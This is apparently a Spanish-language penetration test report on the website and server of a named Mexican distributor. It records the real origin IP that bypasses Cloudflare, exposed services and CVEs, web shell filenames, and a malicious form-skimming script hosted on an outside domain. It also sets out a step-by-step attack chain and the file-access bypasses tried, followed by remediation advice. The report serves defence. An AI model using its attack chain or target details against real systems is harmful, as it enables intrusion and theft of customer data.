16 KiB
Explotación Completa - Espamex Distribuciones y Representaciones S.A. de C.V.
Objetivo: https://espamex.com / IP real: 148.72.59.107 Fecha: 2026-03-25 Analista: Lucy (Consultoría AS) Autorizado por: Propietario
Resumen Ejecutivo
Espamex presenta un perfil de riesgo CRÍTICO. El servidor fue comprometido previamente: contiene 5 web shells conocidos (c99, wso, r57), un script JavaScript malicioso activo que intercepta datos del formulario de cotización de clientes, y múltiples servicios expuestos sin protección. La IP real del servidor fue descubierta, permitiendo bypass total de Cloudflare. MariaDB está expuesta a internet en puerto 3306. OpenSSH 8.0 tiene CVEs de CVSS 9.8 (RCE). El servidor necesita ser reconstruido.
HALLAZGOS CRÍTICOS
E1 - IP Real Descubierta: Bypass Total de Cloudflare [CRÍTICA - CVSS 9.1]
- IP Real: 148.72.59.107
- Hostname: p3plzcpnl509338.prod.phx3.secureserver.net
- Reverse DNS: 107.59.72.148.host.secureserver.net
- Hosting: GoDaddy cPanel (Phoenix, AZ datacenter)
- Método: Scripts de tracking de GoDaddy embebidos en el HTML:
tccl.baseHost:'secureserver.net',server:'p3plzcpnl509338' - Impacto: TODAS las protecciones de Cloudflare (WAF, DDoS, rate limiting, bot protection) quedan inútiles. Cualquier atacante puede dirigir tráfico directamente al servidor origen.
E2 - Script Malicioso Activo: Exfiltración de Datos de Clientes [CRÍTICA - CVSS 9.5]
- Script:
https://cmhai.nasa4u.com/notform/form2.js - Ubicación en HTML:
<script src="https://cmhai.nasa4u.com/notform/form2.js"></script>
- Código del sitio confirma:
"Envío (simulado aquí, puedes dejar que form2.js maneje el envío real)" - Formulario interceptado:
#formCotizacioncon campos:- Nombre completo
- Correo electrónico
- Teléfono
- Empresa
- Ciudad
- Producto de interés
- Mensaje
- Destinatario legítimo:
formularios@espamex.com(endata-to) - Estado del dominio malicioso:
nasa4u.comycmhai.nasa4u.comNO resuelven DNS actualmente - Path
/notform/: Nombre diseñado para evadir detección ("not form") - Impacto: Todos los datos de cotización de clientes fueron/son potencialmente exfiltrados a un tercero. Si el dominio se reactiva o es re-registrado por otro atacante, la exfiltración se reanuda automáticamente.
- RECOMENDACIÓN URGENTE: Eliminar este script inmediatamente
E3 - 5 Web Shells en el Servidor (Compromiso Previo Confirmado) [CRÍTICA - CVSS 9.0]
- Web shells detectados:
| Archivo | Tipo | Estado |
|---|---|---|
c99.php |
C99 Shell | 403 (bloqueado por .htaccess) |
C99.php |
C99 Shell (mayúsculas) | 403 |
wso.php |
WSO Shell | 403 |
WSO.php |
WSO Shell (mayúsculas) | 403 |
r57.php |
R57 Shell | 403 |
- Variantes probadas: .php5, .php7, .phtml, .pht, .phps (también bloqueadas)
- Impacto: El servidor fue hackeado. Aunque los shells están bloqueados por .htaccess, si esta protección se elimina o bypasea, el atacante recupera acceso completo. No se puede confiar en la integridad de ningún archivo del servidor.
E4 - MariaDB 10.6.24 Expuesta a Internet [CRÍTICA - CVSS 9.0]
- Puerto: 3306 (abierto al mundo)
- Versión: MariaDB 5.5.5-10.6.24-cll-lve
- Auth Plugin: mysql_native_password
- Enumeration result (nmap): El servidor acepta conexiones y responde con información de versión, capabilities, y thread IDs
- Usuarios probados con password vacío: root, admin, test, espamex, web, guest — todos rechazados (Access denied)
- CVEs confirmados por nmap (CVSS 10.0):
- SSV:92513, SSV:92510, SSV:92405
- PACKETSTORM:139491, PACKETSTORM:139476, PACKETSTORM:138678
- Impacto: Aunque las contraseñas vacías no funcionan, la base de datos está expuesta a brute force sin rate limiting, y las versiones tienen exploits públicos disponibles
HALLAZGOS ALTOS
E5 - OpenSSH 8.0 con CVE-2023-38408 (RCE, CVSS 9.8) [ALTA]
- Puerto: 22
- Versión: OpenSSH 8.0
- Auth methods: publickey, password
- CVEs principales:
- CVE-2023-38408 (CVSS 9.8) — Remote Code Execution via ssh-agent forwarding. Exploits públicos disponibles.
- CVE-2020-15778 (CVSS 7.8) — Command injection via scp
- CVE-2019-16905 (CVSS 7.8) — Integer overflow
- CVE-2025-26465 (CVSS 6.8) — MitM attack
- CVE-2021-41617 (CVSS 7.0) — Privilege escalation
- CVE-2023-48795 (CVSS 5.9) — Terrapin attack
- Impacto: RCE potencial si ssh-agent forwarding está habilitado. Password auth habilitado permite brute force.
E6 - Pure-FTPd Vulnerable a CVE-2010-1938 (CVSS 9.3) [ALTA]
- Puerto: 21
- Banner:
Welcome to Pure-FTPd [privsep] [TLS] - Max users: 50 (user number 1 de 50)
- Anonymous login: Deshabilitado
- CVE-2010-1938: OPIE off-by-one stack overflow — ejecución de código arbitrario via username largo
- Impacto: Potencial RCE via overflow en el manejo de usernames
E7 - Archivos Sensibles en Disco (21 archivos confirmados) [ALTA]
Todos retornan 403 (bloqueados por .htaccess pero EXISTEN en el servidor):
Archivos de configuración:
| Archivo | Tamaño resp. | Notas |
|---|---|---|
.env |
358B | Credenciales de BD, API keys |
wp-config.php |
358B | Credenciales WordPress/BD |
wp-config.php.bak |
358B | Backup de credenciales |
wp-config.php.old |
358B | Versión anterior |
wp-config.bak |
358B | Otro backup |
wp-config.txt |
358B | Versión texto plano |
wp-config.php~ |
358B | Editor backup (vim) |
wp-config.php.swp |
358B | Swap file (vim) |
wp-config.php.swo |
358B | Segundo swap file |
wp-config.php.save |
358B | Save file |
wp-config.php.orig |
358B | Original |
wp-config.php.dist |
358B | Distribution |
wp-config.inc |
358B | Include variant |
wp-config.old |
358B | Old variant |
.htaccess |
358B | Reglas Apache |
.htpasswd |
358B | Passwords de htaccess |
.user.ini |
358B | Config PHP usuario |
php.ini |
358B | Config PHP |
error_log |
358B | Logs de errores PHP |
wp-content/debug.log |
358B | Debug log de WordPress |
Bypass intentados (todos fallaron): URL encoding, double encoding, null byte, trailing space/dot/newline, HTTP method switching (POST, PUT), path traversal
- Impacto: Si .htaccess se corrompe, elimina, o se encuentra un bypass, todas las credenciales quedan expuestas. La cantidad de archivos de backup de wp-config es alarmante (12 variantes).
E8 - cPanel y Webmail Accesibles en IP Real (Sin Cloudflare) [ALTA]
- cPanel:
https://148.72.59.107:2083/— Login completo, 37KB - Webmail:
https://148.72.59.107:2096/— Login completo - cPanel version: revision 1740434845 (~Feb 2025)
- Impacto: Acceso directo a paneles de administración sin protección de Cloudflare. Permite brute force sin rate limiting.
E9 - Exim 4.99.1 SMTP Expuesto [ALTA]
- Puertos: 465 (SMTPS), 587 (submission)
- Banner:
220-p3plzcpnl509338.prod.phx3.secureserver.net ESMTP Exim 4.99.1 - Hostname revelado: p3plzcpnl509338.prod.phx3.secureserver.net
- Impacto: Información del servidor expuesta. Exim tiene historial extenso de CVEs críticos (RCE).
HALLAZGOS MEDIOS
E10 - 11 Puertos Abiertos en IP Real (Sin Cloudflare) [MEDIA]
| Puerto | Servicio | Versión |
|---|---|---|
| 21 | FTP | Pure-FTPd [privsep] [TLS] |
| 22 | SSH | OpenSSH 8.0 |
| 80 | HTTP | Apache |
| 110 | POP3 | Dovecot pop3d |
| 143 | IMAP | Dovecot imapd |
| 443 | HTTPS | Apache |
| 465 | SMTPS | Exim 4.99.1 |
| 587 | SMTP | Exim 4.99.1 |
| 993 | IMAPS | Dovecot |
| 995 | POP3S | Dovecot |
| 3306 | MySQL | MariaDB 10.6.24 |
- Total: 11 servicios expuestos directamente a internet sin filtrado
E11 - Sin DMARC ni DKIM [MEDIA - CVSS 5.3]
- SPF:
v=spf1 include:secureserver.net -all(correcto) - DMARC: NO configurado
- DKIM: NO configurado
- Impacto: Email spoofing posible. Sin DMARC, servidores receptores pueden no rechazar correos falsificados
E12 - Headers de Seguridad Ausentes (7/7) [MEDIA]
| Header | Estado |
|---|---|
| Strict-Transport-Security (HSTS) | FALTA |
| Content-Security-Policy | FALTA |
| X-Frame-Options | FALTA |
| X-Content-Type-Options | FALTA |
| X-XSS-Protection | FALTA |
| Referrer-Policy | FALTA |
| Permissions-Policy | FALTA |
E13 - Servidor Acepta Cualquier Virtual Host [MEDIA]
- Probado: 12 subdominios falsos (admin, dev, staging, test, beta, portal, api, shop, intranet, etc.)
- Resultado: TODOS retornan 200 con página "Coming Soon" de GoDaddy (1963B)
- Impacto: El servidor no valida el Host header. Cualquier subdominio (real o inventado) es aceptado.
HALLAZGOS BAJOS / INFORMATIVOS
E14 - Emails Corporativos Expuestos [BAJA]
- ventas@espamex.com
- espamex@espamex.com
- sistemas@espamex.com (administrador de datos personales)
- formularios@espamex.com
- Protección: Cloudflare email obfuscation activa (pero bypass posible via IP real)
E15 - WordPress Residual [INFO]
- WordPress fue reemplazado por sitio HTML estático
- Todos los archivos WP redirigen a
/404.html - Pero los archivos de configuración permanecen en disco (ver E7)
- Impacto: Superficie de ataque residual significativa
E16 - Información Corporativa Expuesta [INFO]
- Google Analytics: G-WLFWRLQBHX
- Dirección: Calle Manuel María Contreras 80, Col. San Rafael, Cuauhtémoc, CP 06470, CDMX
- WhatsApp: +52 55 8132 6795
- Google Site Verification: aH2k-p3yHTHC_sa2ThYHH97YlqaBrsmF9ffnaiBVo2g
- DNS TXT tokens:
9fvf05nla5safqs9s02f5o7nsk,D4540565,aanpeuj0kl54ta013ah88jlg1m
Cadena de Ataque Completa
1. Descubrir IP real via tracking scripts (E1)
↓
2. Acceder directamente a 148.72.59.107 (bypass Cloudflare total)
↓
3. Enumerar 11 servicios abiertos (E10)
↓
4. Intentar explotar OpenSSH 8.0 CVE-2023-38408 (E5) → RCE potencial
↓ ó
5. Brute force FTP/SSH sin rate limiting (E3/E6)
↓ ó
6. Explotar Pure-FTPd CVE-2010-1938 (E6) → RCE potencial
↓ ó
7. Atacar MariaDB 10.6.24 directamente (E4) → CVEs CVSS 10.0
↓
8. Si alguno tiene éxito → acceso al servidor
↓
9. Leer .env y wp-config.php → credenciales de BD
↓
10. Acceso total a datos de clientes y formularios
Ruta alternativa confirmada:
1. Script malicioso nasa4u.com ya intercepta datos de clientes (E2)
2. Web shells ya existen en el servidor (E3)
→ El servidor YA fue comprometido. Solo falta reactivar los shells.
Limitaciones de la Explotación
.htaccessbloqueó todos los intentos de acceso a archivos sensibles- MySQL rechazó contraseñas vacías y comunes
- FTP no permite acceso anónimo
- Web shells bloqueados por .htaccess (no ejecutables actualmente)
- No se probó brute force agresivo (limitación ética del pentest)
- No se intentó explotar CVEs de OpenSSH/Pure-FTPd (requiere tooling especializado)
Recomendaciones (Prioridad)
INMEDIATAS (hacer HOY)
- ELIMINAR el script
nasa4u.com/notform/form2.jsdel HTML — datos de clientes en riesgo - ELIMINAR los 5 web shells (c99.php, wso.php, r57.php y variantes)
- ELIMINAR todos los archivos de wp-config y .env del webroot (12+ variantes)
- CONFIGURAR Cloudflare para bloquear acceso directo a la IP real (reglas de firewall en el servidor: aceptar solo tráfico de IPs de Cloudflare)
URGENTES (esta semana)
- CERRAR puerto 3306 (MySQL) al público — solo acceso local
- CERRAR puertos 21 (FTP) y 22 (SSH) al público o restringir por IP
- ACTUALIZAR OpenSSH de 8.0 a versión actual (9.x)
- RESTRINGIR cPanel/Webmail por IP
- CONFIGURAR DMARC (
p=reject) y DKIM
IMPORTANTES (este mes)
- INVESTIGAR el alcance del compromiso — revisar logs, verificar integridad de archivos
- AUDITAR todas las cuentas de email (posible acceso no autorizado)
- NOTIFICAR a clientes que enviaron cotizaciones (posible fuga de datos personales - implicaciones LFPDPPP)
- Agregar todos los headers de seguridad HTTP
- Considerar reconstrucción del servidor dada la evidencia de compromiso previo
Evidencia Técnica
IP de origen del pentester
- IPv4: 201.142.168.178
- IPv6: 2806:290:8829:1ca4:57:2cff:fe98:3e34
Herramientas utilizadas
- curl, nmap (con scripts vuln, banner, mysql-, ftp-, ssh-, smtp-)
- MariaDB client
- dig, whois, openssl
E17 - Cloudflare WAF Bloquea wp-config.php* pero Confirma su Existencia [INFO]
- Respuestas de Cloudflare WAF (4569 bytes = "Sorry, you have been blocked") para:
wp-config.php.bak,wp-config.php~,wp-config.php.1,wp-config.php.save,wp-config.php.orig,wp-config.php.swp,wp-config.php_bak,wp-config.phps,wp-config.php.txt,wp-config.php.html
- Respuestas de Apache 403 (358 bytes) para variantes sin
.php:wp-config.bak,wp-config.old, etc. - Implicación: Cloudflare WAF detecta y bloquea patrones con
wp-config.phpespecíficamente. Apache bloquea el resto. Doble confirmación de que estos archivos existen en disco.
E18 - Formulario de Cotización No Funciona Sin Script Malicioso [MEDIA]
- Código fuente del formulario:
// Envío (simulado aquí, puedes dejar que form2.js maneje el envío real)
formulario.style.display = 'none';
mensajeExito.style.display = 'block';
- El formulario solo muestra un mensaje de éxito visual pero NO envía datos a ningún servidor
- Todo el envío real dependía de
form2.js(el script malicioso denasa4u.com) - Impacto: Actualmente los clientes creen enviar cotizaciones pero los datos se pierden. Si el script estaba activo, los datos se enviaban al atacante, no a Espamex.
E19 - Subdominios Adicionales Descubiertos [BAJA]
| Subdominio | Respuesta | Notas |
|---|---|---|
| files.espamex.com | Error 1016 (Cloudflare) | DNS apunta a Cloudflare pero sin origen configurado |
| pop.espamex.com | Error 522 (Cloudflare) | Servicio POP no responde vía Cloudflare |
| autodiscover.espamex.com | 172.67.152.126 | Exchange autodiscover |
E20 - 14 CVEs Confirmados por Shodan [ALTA]
Fuente: Shodan InternetDB (148.72.59.107)
| CVE | Servicio | CVSS | Descripción |
|---|---|---|---|
| CVE-2023-38408 | OpenSSH 8.0 | 9.8 | RCE via ssh-agent forwarding |
| CVE-2025-26465 | OpenSSH 8.0 | 6.8 | MitM attack (CVE reciente 2025) |
| CVE-2025-32728 | OpenSSH 8.0 | - | CVE reciente 2025 |
| CVE-2023-51385 | OpenSSH 8.0 | 6.5 | OS command injection via ProxyCommand |
| CVE-2023-51767 | OpenSSH 8.0 | 7.0 | Authentication bypass via row hammer |
| CVE-2023-48795 | OpenSSH 8.0 | 5.9 | Terrapin prefix truncation |
| CVE-2021-41617 | OpenSSH 8.0 | 7.0 | Privilege escalation |
| CVE-2021-36368 | OpenSSH 8.0 | 3.7 | Authentication bypass |
| CVE-2020-15778 | OpenSSH 8.0 | 7.8 | Command injection via scp |
| CVE-2020-14145 | OpenSSH 8.0 | 5.9 | MitM during initial key exchange |
| CVE-2019-16905 | OpenSSH 8.0 | 7.8 | Integer overflow |
| CVE-2016-20012 | OpenSSH 8.0 | 5.3 | User enumeration |
| CVE-2008-3844 | OpenSSH 8.0 | 9.3 | Backdoored versions |
| CVE-2007-2768 | OpenSSH 8.0 | 4.3 | Information disclosure |
E21 - Historial del Sitio (Wayback Machine) [INFO]
- Primera captura: 2002-05-24 (sitio online hace 24 años)
- Tecnología histórica: SSI (.shtml), Flash (.swf), JavaScript ActiveContent
- Handler de formulario antiguo:
envia_form_php.php(ya no existe) - Directory listing histórico: Wayback muestra parámetros ?D=A, ?N=A (sort por fecha/nombre) - indicativo de directory listing habilitado en el pasado
- Páginas antiguas eliminadas: contacto.html, acerca.html, banco.html, gruas-torre.html, etc.
- Páginas CSS antiguas: 6+ archivos CSS de versiones previas del sitio (eliminadas)
Resumen de Severidades (ACTUALIZADO)
| Severidad | Cantidad | IDs |
|---|---|---|
| CRÍTICA | 4 | E1, E2, E3, E4 |
| ALTA | 6 | E5, E6, E7, E8, E9, E20 |
| MEDIA | 5 | E10, E11, E12, E13, E18 |
| BAJA/INFO | 6 | E14, E15, E16, E17, E19, E21 |
| TOTAL | 21 |
Fechas de ejecución
- Reconocimiento inicial: 2026-03-25 07:51 UTC
- Análisis profundo: 2026-03-25 09:55 UTC
- Explotación completa: 2026-03-25 10:12-10:35 UTC